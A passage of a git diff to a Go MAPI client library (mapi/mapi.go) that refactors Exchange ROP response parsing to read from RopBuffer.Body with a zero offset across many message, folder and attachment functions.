rpbuff execResponse.AuxilliaryBufSize, _ = utils.ReadUint32(pos, resp) //execResponse.AuxilliaryBuf, _ = utils.ReadBytes(pos, int(execResponse.AuxilliaryBufSize), resp) } diff --git a/mapi/mapi.go b/mapi/mapi.go index 6168e14..516fae4 100644 --- a/mapi/mapi.go +++ b/mapi/mapi.go @@ -140,7 +140,7 @@ func sendMapiRequest(mapi ExecuteRequest) (*ExecuteResponse, error) { executeResponse := ExecuteResponse{} executeResponse.Unmarshal(rawResp) - if len(executeResponse.RopBuffer) == 0 { + if len(executeResponse.RopBuffer.Body) == 0 { return nil, ErrEmptyBuffer } @@ -455,7 +455,7 @@ func AuthenticateFetchMailbox(essdn []byte) (*RopLogonResponse, error) { AuthSession.Authenticated = true logonResponse := RopLogonResponse{} - logonResponse.Unmarshal(execResponse.RopBuffer) + logonResponse.Unmarshal(execResponse.RopBuffer.Body) if len(logonResponse.FolderIds) == 0 { if AuthSession.Admin { @@ -503,7 +503,7 @@ func ReleaseObject(inputHandle byte) (*RopReleaseResponse, error) { } ropReleaseResponse := RopReleaseResponse{} - if _, e := ropReleaseResponse.Unmarshal(execResponse.RopBuffer[10:]); e != nil { + if _, e := ropReleaseResponse.Unmarshal(execResponse.RopBuffer.Body); e != nil { return nil, e } return &ropReleaseResponse, nil @@ -532,7 +532,7 @@ func ReadPerUserInformation(folerID []byte) (*RopReadPerUserInformationResponse, } readResponse := RopReadPerUserInformationResponse{} - if _, e := readResponse.Unmarshal(execResponse.RopBuffer[10:]); e != nil { + if _, e := readResponse.Unmarshal(execResponse.RopBuffer.Body); e != nil { return nil, e } return &readResponse, nil @@ -559,7 +559,7 @@ func GetLongTermIDFromID(objectID []byte) (*RopLongTermIDFromIDResponse, error) } longTermResponse := RopLongTermIDFromIDResponse{} - if _, e := longTermResponse.Unmarshal(execResponse.RopBuffer[10:]); e != nil { + if _, e := longTermResponse.Unmarshal(execResponse.RopBuffer.Body); e != nil { return nil, e } return &longTermResponse, nil @@ -634,24 +634,24 @@ func SendExistingMessage(folderID, messageID []byte, recipient string) (*RopSubm return nil, &TransportError{err} } - bufPtr := 10 + bufPtr := 0 var p int var e error getMessageResponse := RopOpenMessageResponse{} - if p, e = getMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = getMessageResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } bufPtr += p modRecipientsResponse := RopModifyRecipientsResponse{} - if p, e = modRecipientsResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = modRecipientsResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } bufPtr += p submitMessageResp := RopSubmitMessageResponse{} - if _, e = submitMessageResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if _, e = submitMessageResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } @@ -753,30 +753,30 @@ func SendMessage(triggerWord, body string) (*RopSubmitMessageResponse, error) { return nil, &TransportError{err} } - bufPtr := 10 + bufPtr := 0 var p int var e error createMessageResponse := RopCreateMessageResponse{} - if p, e = createMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = createMessageResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } bufPtr += p propertiesResponse := RopSetPropertiesResponse{} - if p, e = propertiesResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = propertiesResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } bufPtr += p modRecipientsResponse := RopModifyRecipientsResponse{} - if p, e = modRecipientsResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = modRecipientsResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } bufPtr += p submitMessageResp := RopSubmitMessageResponse{} - if _, e = submitMessageResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if _, e = submitMessageResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } @@ -816,11 +816,11 @@ func SetMessageStatus(folderid, messageid []byte) (*RopSetMessageStatusResponse, return nil, &TransportError{err} } - bufPtr := 10 + bufPtr := 0 setStatusResp := RopSetMessageStatusResponse{} - if _, e := setStatusResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if _, e := setStatusResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } return &setStatusResp, nil @@ -867,9 +867,9 @@ func GetPropertyIds(folderid, messageid []byte, propids []PropertyName) (*RopGet return nil, &TransportError{err} } - bufPtr := 10 + bufPtr := 0 - if execResponse.RopBuffer[bufPtr : bufPtr+1][0] != 0x03 { + if execResponse.RopBuffer.Body[bufPtr : bufPtr+1][0] != 0x03 { bufPtr += 4 } @@ -878,14 +878,14 @@ func GetPropertyIds(folderid, messageid []byte, propids []PropertyName) (*RopGet getMessageResponse := RopOpenMessageResponse{} - if p, e = getMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = getMessageResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } bufPtr += p getPropertyIdsResp := RopGetPropertyIdsFromNamesResponse{} - _, e = getPropertyIdsResp.Unmarshal(execResponse.RopBuffer[bufPtr:]) + _, e = getPropertyIdsResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]) return &getPropertyIdsResp, e } @@ -920,9 +920,9 @@ func GetPropertyIdsList(folderid, messageid []byte) (*RopGetPropertiesListRespon return nil, &TransportError{err} } - bufPtr := 10 + bufPtr := 0 - if execResponse.RopBuffer[bufPtr : bufPtr+1][0] != 0x03 { + if execResponse.RopBuffer.Body[bufPtr : bufPtr+1][0] != 0x03 { bufPtr += 4 } @@ -931,14 +931,14 @@ func GetPropertyIdsList(folderid, messageid []byte) (*RopGetPropertiesListRespon getMessageResponse := RopOpenMessageResponse{} - if p, e = getMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = getMessageResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } bufPtr += p getPropertyIdsResp := RopGetPropertiesListResponse{} - _, e = getPropertyIdsResp.Unmarshal(execResponse.RopBuffer[bufPtr:]) + _, e = getPropertyIdsResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]) return &getPropertyIdsResp, e } @@ -975,9 +975,9 @@ func GetPropertyNamesFromID(folderid, messageid, propids []byte, idcount int) (* return nil, &TransportError{err} } - bufPtr := 10 + bufPtr := 0 - if execResponse.RopBuffer[bufPtr : bufPtr+1][0] != 0x03 { + if execResponse.RopBuffer.Body[bufPtr : bufPtr+1][0] != 0x03 { bufPtr += 4 } @@ -986,14 +986,14 @@ func GetPropertyNamesFromID(folderid, messageid, propids []byte, idcount int) (* getMessageResponse := RopOpenMessageResponse{} - if p, e = getMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = getMessageResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } bufPtr += p getPropNamesResp := RopGetNamesFromPropertyIdsResponse{} - _, e = getPropNamesResp.Unmarshal(execResponse.RopBuffer[bufPtr:]) + _, e = getPropNamesResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]) return &getPropNamesResp, e } @@ -1033,20 +1033,20 @@ func SetSearchCriteria(folderids, searchFolder []byte, restrictions Restriction) return nil, &TransportError{err} } - bufPtr := 10 + bufPtr := 0 var p int var e error openFolderResponse := RopOpenFolderResponse{} - if p, e = openFolderResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = openFolderResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } bufPtr += p setCriteriaResponse := RopSetSearchCriteriaResponse{} - if _, e := setCriteriaResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if _, e := setCriteriaResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } @@ -1085,20 +1085,20 @@ func GetSearchCriteria(searchFolder []byte) (*RopGetSearchCriteriaResponse, erro return nil, &TransportError{err} } - bufPtr := 10 + bufPtr := 0 var p int var e error openFolderResponse := RopOpenFolderResponse{} - if p, e = openFolderResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = openFolderResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } bufPtr += p getCriteriaResponse := RopGetSearchCriteriaResponse{} - if _, e := getCriteriaResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if _, e := getCriteriaResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } @@ -1142,19 +1142,19 @@ func SetFolderProperties(folderid []byte, propertyTags []TaggedPropertyValue) (* return nil, &TransportError{err} } - bufPtr := 10 + bufPtr := 0 var p int var e error openFolderResponse := RopOpenFolderResponse{} - if p, e = openFolderResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = openFolderResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } bufPtr += p propertiesResponse := RopSetPropertiesResponse{} - if p, e = propertiesResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = propertiesResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } @@ -1220,26 +1220,26 @@ func CreateMessageRequest(folderID []byte, properties []TaggedPropertyValue, ass return nil, &TransportError{err} } - bufPtr := 10 + bufPtr := 0 var p int var e error createMessageResponse := RopCreateMessageResponse{} - if p, e = createMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = createMessageResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } bufPtr += p propertiesResponse := RopSetPropertiesResponse{} - if p, e = propertiesResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = propertiesResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } bufPtr += p saveMessageResponse := RopSaveChangesMessageResponse{} - e = saveMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]) + e = saveMessageResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]) return &saveMessageResponse, e @@ -1309,44 +1309,44 @@ func CreateMessageAttachment(folderid, messageid []byte, properties []TaggedProp return nil, &TransportError{err} } - bufPtr := 10 + bufPtr := 0 var p int var e error getMessageResp := RopOpenMessageResponse{} - if p, e = getMessageResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = getMessageResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } bufPtr += p getAttachmentTblResp := RopGetAttachmentTableResponse{} - if p, e = getAttachmentTblResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = getAttachmentTblResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } bufPtr += p createAttachmentResp := RopCreateAttachmentResponse{} - if p, e = createAttachmentResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = createAttachmentResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } bufPtr += p propertiesResponse := RopSetPropertiesResponse{} - if p, e = propertiesResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = propertiesResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } bufPtr += p saveAttachmentResp := RopSaveChangesAttachmentResponse{} - if p, e = saveAttachmentResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = saveAttachmentResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } bufPtr += p saveMessageResponse := RopSaveChangesMessageResponse{} - e = saveMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]) + e = saveMessageResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]) return &createAttachmentResp, e @@ -1393,42 +1393,42 @@ func WriteAttachmentProperty(folderid, messageid []byte, attachmentid uint32, pr return nil, &TransportError{err} } - bufPtr := 10 + bufPtr := 0 var p int var e error getMessageResp := RopOpenMessageResponse{} - if p, e = getMessageResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = getMessageResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } bufPtr += p getAttachmentTblResp := RopGetAttachmentTableResponse{} - if p, e = getAttachmentTblResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = getAttachmentTblResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } bufPtr += p getAttachmentResp := RopOpenAttachmentResponse{} - if p, e = getAttachmentResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = getAttachmentResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } bufPtr += p openStreamResp := RopOpenStreamResponse{} - if p, e = openStreamResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = openStreamResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } bufPtr += p setStreamSizeResp := RopSetStreamSizeResponse{} - if _, e = setStreamSizeResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if _, e = setStreamSizeResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } - - serverHandles := execResponse.RopBuffer[len(execResponse.RopBuffer)-12:] + utils.Debug.Printf("%s\n", hex.Dump(execResponse.RopBuffer.Body)) + serverHandles := execResponse.RopBuffer.Body[len(execResponse.RopBuffer.Body)-4:] //messageHandles := execResponse.RopBuffer[len(execResponse.RopBuffer)-12:] utils.Debug.Printf("Starting Upload") //lets split it.. @@ -1525,21 +1525,21 @@ func WriteAttachmentProperty(folderid, messageid []byte, attachmentid uint32, pr bufPtr = 10 commitStreamResp := RopCommitStreamResponse{} - if p, e = commitStreamResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = commitStreamResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } bufPtr += p //utils.Debug.Println("Commit Stream: ", commitStreamResp) saveAttachmentResp := RopSaveChangesAttachmentResponse{} - if p, e = saveAttachmentResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = saveAttachmentResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } bufPtr += p //utils.Debug.Println("Save: ", saveAttachmentResp) saveMessageResponse := RopSaveChangesMessageResponse{} - e = saveMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]) + e = saveMessageResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]) //utils.Debug.Println("Save: ", saveMessageResponse) return &saveAttachmentResp, e @@ -1591,25 +1591,25 @@ func SetMessageProperties(folderid, messageid []byte, propertyTags []TaggedPrope return nil, &TransportError{err} } - bufPtr := 10 + bufPtr := 0 var p int var e error getMessageResp := RopOpenMessageResponse{} - if p, e = getMessageResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = getMessageResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } bufPtr += p propertiesResponse := RopSetPropertiesResponse{} - if p, e = propertiesResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = propertiesResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } bufPtr += p saveMessageResponse := RopSaveChangesMessageResponse{} - e = saveMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]) + e = saveMessageResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]) return &saveMessageResponse, e @@ -1646,7 +1646,7 @@ func SetPropertyFast(folderid []byte, messageid []byte, property TaggedPropertyV } //we probably need to get the handles here to pass them down into the ServerObjectHandleTable - serverHandles := execResponse.RopBuffer[len(execResponse.RopBuffer)-8:] + serverHandles := execResponse.RopBuffer.Body[len(execResponse.RopBuffer.Body)-8:] messageHandles := serverHandles //fmt.Printf("Handles: %x\n", serverHandles) props := utils.BodyToBytes(property) //setProperties.Marshal() @@ -1677,7 +1677,7 @@ func SetPropertyFast(folderid []byte, messageid []byte, property TaggedPropertyV return nil, &TransportError{err} } - serverHandles = execResponse.RopBuffer[len(execResponse.RopBuffer)-8:] + serverHandles = execResponse.RopBuffer.Body[len(execResponse.RopBuffer.Body)-8:] } if len(props) > split*piecescnt { body := props[index:] @@ -1726,10 +1726,10 @@ func SaveMessageFast(inputHandle, responseHandle byte, serverHandles []byte) (*R return nil, &TransportError{err} } - bufPtr := 10 + bufPtr := 0 saveMessageResponse := RopSaveChangesMessageResponse{} - if e := saveMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if e := saveMessageResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } return &saveMessageResponse, nil @@ -1770,16 +1770,16 @@ func DeleteMessages(folderid []byte, messageIDCount int, messageIDs []byte) (*Ro return nil, &TransportError{err} } - bufPtr := 10 + bufPtr := 0 openFolder := RopOpenFolderResponse{} - p, err := openFolder.Unmarshal(execResponse.RopBuffer[bufPtr:]) + p, err := openFolder.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]) if err != nil { return nil, err } bufPtr += p deleteMessageResponse := RopDeleteMessagesResponse{} - if _, e := deleteMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if _, e := deleteMessageResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } @@ -1834,44 +1834,44 @@ func OpenAttachment(folderid, messageid []byte, attachId uint32, columns []Prope return nil, &TransportError{err} } - bufPtr := 10 + bufPtr := 0 var p int var e error getMessageResp := RopOpenMessageResponse{} - if p, e = getMessageResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = getMessageResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } bufPtr += p getAttachmentTblResp := RopGetAttachmentTableResponse{} - if p, e = getAttachmentTblResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = getAttachmentTblResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } bufPtr += p getAttachmentResp := RopOpenAttachmentResponse{} - if p, e = getAttachmentResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = getAttachmentResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } bufPtr += p props := RopFastTransferSourceCopyPropertiesResponse{} - if p, e = props.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = props.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } bufPtr += p pprops := RopFastTransferSourceGetBufferResponse{} - if p, e = pprops.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = pprops.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } //Rop release if we are done.. otherwise get rest of stream if pprops.TransferStatus == 0x0001 { - buff, _ := FastTransferFetchStep(execResponse.RopBuffer[bufPtr+p:]) + buff, _ := FastTransferFetchStep(execResponse.RopBuffer.Body[bufPtr+p:]) if buff != nil { pprops.TransferBuffer = append(pprops.TransferBuffer, buff...) @@ -1918,24 +1918,24 @@ func GetAttachments(folderid, messageid []byte) (*RopGetValidAttachmentsResponse return nil, &TransportError{err} } - bufPtr := 10 + bufPtr := 0 var p int var e error getMessageResp := RopOpenMessageResponse{} - if p, e = getMessageResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = getMessageResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } bufPtr += p getAttachmentTblResp := RopGetAttachmentTableResponse{} - if p, e = getAttachmentTblResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = getAttachmentTblResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } bufPtr += p getAttachmentsResp := RopGetValidAttachmentsResponse{} - if p, e = getAttachmentsResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = getAttachmentsResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } return &getAttachmentsResp, nil @@ -1973,16 +1973,16 @@ func EmptyFolder(folderid []byte) (*RopEmptyFolderResponse, error) { return nil, &TransportError{err} } - bufPtr := 10 + bufPtr := 0 openFolder := RopOpenFolderResponse{} - p, err := openFolder.Unmarshal(execResponse.RopBuffer[bufPtr:]) + p, err := openFolder.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]) if err != nil { return nil, err } bufPtr += p emptyFolderResponse := RopEmptyFolderResponse{} - if _, e := emptyFolderResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if _, e := emptyFolderResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } @@ -2011,9 +2011,9 @@ func DeleteFolder(folderid []byte) (*RopDeleteFolderResponse, error) { return nil, &TransportError{err} } - bufPtr := 10 + bufPtr := 0 deleteFolderResponse := RopDeleteFolderResponse{} - if _, e := deleteFolderResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if _, e := deleteFolderResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } @@ -2078,9 +2078,9 @@ func GetFolderFromID(folderid []byte, columns []PropertyTag) (*RopOpenFolderResp return nil, nil, &TransportError{err} } - bufPtr := 10 + bufPtr := 0 openFolder := RopOpenFolderResponse{} - p, e := openFolder.Unmarshal(execResponse.RopBuffer[bufPtr:]) + p, e := openFolder.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]) if e != nil { return nil, nil, e } @@ -2092,7 +2092,7 @@ func GetFolderFromID(folderid []byte, columns []PropertyTag) (*RopOpenFolderResp bufPtr += p getPropertiesResponse := RopGetPropertiesSpecificResponse{} - _, e = getPropertiesResponse.Unmarshal(execResponse.RopBuffer[bufPtr:], columns) + _, e = getPropertiesResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:], columns) return &openFolder, &getPropertiesResponse, e @@ -2126,19 +2126,19 @@ func OpenMessage(folderid, messageid []byte) ([]byte, error) { return nil, &TransportError{err} } - bufPtr := 10 + bufPtr := 0 var e error - if execResponse.RopBuffer[bufPtr : bufPtr+1][0] != 0x03 { + if execResponse.RopBuffer.Body[bufPtr : bufPtr+1][0] != 0x03 { bufPtr += 4 } openMessage := RopOpenMessageResponse{} - if _, e = openMessage.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if _, e = openMessage.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } //fmt.Printf("%x\n", execResponse.RopBuffer) - return execResponse.RopBuffer[len(execResponse.RopBuffer)-4:], nil + return execResponse.RopBuffer.Body[len(execResponse.RopBuffer.Body)-4:], nil } @@ -2196,28 +2196,28 @@ func GetMessage(folderid, messageid []byte, columns []PropertyTag) (GetPropertie return nil, &TransportError{err} } - bufPtr := 10 + bufPtr := 0 var p int var e error - //fmt.Println(execResponse.RopBuffer[bufPtr:]) + //fmt.Println(execResponse.RopBuffer.Body[bufPtr:]) openMessage := RopOpenMessageResponse{} - if p, e = openMessage.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = openMessage.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } bufPtr += p if columns != nil { props := RopGetPropertiesSpecificResponse{} - if _, e = props.Unmarshal(execResponse.RopBuffer[bufPtr:], columns); e != nil { + if _, e = props.Unmarshal(execResponse.RopBuffer.Body[bufPtr:], columns); e != nil { return nil, e } return &props, nil } props := RopGetPropertiesAllResponse{} - if _, e = props.Unmarshal(execResponse.RopBuffer[bufPtr:], columns); e != nil { + if _, e = props.Unmarshal(execResponse.RopBuffer.Body[bufPtr:], columns); e != nil { return nil, e } return &props, nil @@ -2268,35 +2268,35 @@ func GetMessageFast(folderid, messageid []byte, columns []PropertyTag) (*RopFast return nil, &TransportError{err} } - bufPtr := 10 + bufPtr := 0 var p int var e error - if execResponse.RopBuffer[bufPtr : bufPtr+1][0] != 0x03 { + if execResponse.RopBuffer.Body[bufPtr : bufPtr+1][0] != 0x03 { bufPtr += 4 } openMessage := RopOpenMessageResponse{} - if p, e = openMessage.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = openMessage.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } bufPtr += p props := RopFastTransferSourceCopyPropertiesResponse{} - if p, e = props.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = props.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } bufPtr += p pprops := RopFastTransferSourceGetBufferResponse{} - if p, e = pprops.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = pprops.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } //Rop release if we are done.. otherwise get rest of stream if pprops.TransferStatus == 0x0001 { - buff, _ := FastTransferFetchStep(execResponse.RopBuffer[bufPtr+p:]) + buff, _ := FastTransferFetchStep(execResponse.RopBuffer.Body[bufPtr+p:]) if buff != nil { pprops.TransferBuffer = append(pprops.TransferBuffer, buff...) @@ -2330,11 +2330,11 @@ func FastTransferFetchStep(handles []byte) ([]byte, error) { return nil, &TransportError{err} } - bufPtr := 10 + bufPtr := 0 //fmt.Printf("%x\n", execResponse.RopBuffer[:]) pprops := RopFastTransferSourceGetBufferResponse{} - p, err := pprops.Unmarshal(execResponse.RopBuffer[bufPtr:]) + p, err := pprops.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]) if err != nil { return nil, err } @@ -2345,7 +2345,7 @@ func FastTransferFetchStep(handles []byte) ([]byte, error) { //fmt.Printf("%x\n", pprops.TransferBuffer) if pprops.TransferStatus == 0x0001 { - buff, _ := FastTransferFetchStep(execResponse.RopBuffer[bufPtr+p:]) + buff, _ := FastTransferFetchStep(execResponse.RopBuffer.Body[bufPtr+p:]) //fmt.Println(string(buff), err) if buff != nil { pprops.TransferBuffer = append(pprops.TransferBuffer, buff...) @@ -2401,25 +2401,25 @@ func GetContentsTableRequest(folderid []byte, tableFlags byte) (*RopGetContentsT return nil, nil, &TransportError{err} } - bufPtr := 10 + bufPtr := 0 var p int var e error - if bufPtr > len(execResponse.RopBuffer) { + if bufPtr > len(execResponse.RopBuffer.Body) { return nil, nil, fmt.Errorf("Empty table") } openFolder := RopOpenFolderResponse{} - if p, e = openFolder.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = openFolder.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, nil, e } bufPtr += p ropContents := RopGetContentsTableResponse{} - if p, e = ropContents.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = ropContents.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, nil, e } bufPtr += p - return &ropContents, execResponse.RopBuffer[bufPtr:], nil + return &ropContents, execResponse.RopBuffer.Body[bufPtr:], nil } @@ -2452,24 +2452,24 @@ func GetFolderHierarchy(folderid []byte) (*RopGetHierarchyTableResponse, []byte, return nil, nil, &TransportError{err} } - bufPtr := 10 + bufPtr := 0 var p int var e error openFolder := RopOpenFolderResponse{} - if p, e = openFolder.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = openFolder.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, nil, e } bufPtr += p hierarchyTableResponse := RopGetHierarchyTableResponse{} - if p, e = hierarchyTableResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = hierarchyTableResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, nil, e } bufPtr += p + 8 //the serverhandle is the 3rd set of 4 bytes - we need this handle to access the hierarchy table - return &hierarchyTableResponse, execResponse.RopBuffer[bufPtr:], nil + return &hierarchyTableResponse, execResponse.RopBuffer.Body[bufPtr:], nil } @@ -2503,18 +2503,18 @@ func GetSubFolders(folderid []byte) (*RopQueryRowsResponse, error) { return nil, &TransportError{err} } - bufPtr := 10 + bufPtr := 0 var p int var e error setColumnsResp := RopSetColumnsResponse{} - if p, e = setColumnsResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if p, e = setColumnsResp.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } bufPtr += p rows := RopQueryRowsResponse{} - if _, e = rows.Unmarshal(execResponse.RopBuffer[bufPtr:], setColumns.PropertyTags); e != nil { + if _, e = rows.Unmarshal(execResponse.RopBuffer.Body[bufPtr:], setColumns.PropertyTags); e != nil { return nil, e } return &rows, nil @@ -2574,14 +2574,14 @@ func CreateFolderRequest(folderName string, hidden bool, ftype uint8) (*RopCreat return nil, ErrTransport //&TransportError{err} } - bufPtr := 10 + bufPtr := 0 createFolderResponse := RopCreateFolderResponse{} - if _, e := createFolderResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + if _, e := createFolderResponse.Unmarshal(execResponse.RopBuffer.Body[bufPtr:]); e != nil { return nil, e } if hidden == true { propResp := RopSetPropertiesResponse{} - if _, e := 